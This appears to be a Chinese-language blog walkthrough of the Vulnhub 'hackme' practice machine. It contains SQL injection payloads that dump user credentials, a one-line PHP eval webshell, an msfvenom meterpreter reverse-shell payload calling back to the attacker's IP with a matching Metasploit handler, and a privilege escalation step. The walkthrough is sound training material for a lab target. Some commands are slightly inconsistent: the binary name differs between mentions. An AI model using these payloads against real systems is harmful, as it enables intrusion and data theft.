Vulnhub靶场-hackme

Vulnhub靶场-hackme

今天开始记录一下Vulnhub的靶机渗透流程以及思路。就以hackme系列开始,这也是学长教我打的第一个靶机。靶机的安装和配置这里就不说了,要把靶机的设置成kali一样的网段。

hackme

首先第一步就是打开kali跟靶机,kali利用nmap扫同一网段,这里我的是192.168.1.0/24。

1
2
3
kali:192.168.1.138

靶机:192.168.1.139

记录玩ip地址之后,发现靶机的80端口开着,那么kali浏览器访问http://192.168.1.139。

image-20230814215615369

SQL注入

发现是一个登陆页面,右下角还有个注册页面,我们注册一个账号登录进去。

image-20230814215739873

进去之后,可以看到有一个窗口,经过测试是可以查询一些书和作者的,这里手工注入,先来试试sql注入。发现一般的sql注入语句执行不了,根据查询的内容推断后台的sql语句应该为:

1
sql = "select Title from BOOK like %".$content."limit 0,1";

尝试构造payload为:

1
Linux%' and '123' like '1

发现执行成功,页面有回显。于是进一步构造payload:

1
2
3
4
5
6
7
8
9
Linux%' union select 1,2,3 '1

Linux%' union select 1,(database()),3 '1

Linux%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='webapphacking'),3 '1

Linux%' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='webapphacking' and table_name='users'),3 '1

Linux%' union select 1,(select group_concat(user,pasword) from webapphacking.users),3 '1

那么通过上面的注入,可以拿到用户以及账号密码。在账号里面我发现了一个superadmin的账号,但是密码是加密的,但是不难看出是经过md5加密的,于是拿到md5在线解密得到:

1
2
username:superadmin
password:Uncrackable

于是我退出登录,切换superadmin账号登录。

文件上传

进入到了一个可以上传照片的网页,于是抱着试一试的心态上传的一个后门1.php

1
<?php eval($_POST['cmd']);?>

发现竟然上传成功了,啥过滤都没有。上传完后网页提示在uploads文件夹,于是访问/uploads/1.php,用蚁剑连接。

连接成功进入服务器。

getshell

本地生成木马,上传到/tmp目录,因为/tmp目录有写入和执行的权限。

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=4444 -f elf > 1.elf

msf启动后,开启监听模块

1
2
3
4
5
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.138
set lport 4444
run

靶机上

1
2
$ chmod +x 1.elf
$ ./1.elf

kali接受到后即可控制靶机。因为靶机上有python,所以可以利用python构建交互式页面

1
2
3
meterpreter > shell
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@hackme:/tmp$

权限提升

在/home下有一个legacy目录,里面有个touchmenot的可执行文件,于是

1
./touchmeout

然后就会惊奇的发现终端由 $ => #。

1
2
www-data@hackme:/tmp$
root@hackme:/home/legacy#

至此提权就成功了,接下来想干嘛就干嘛了。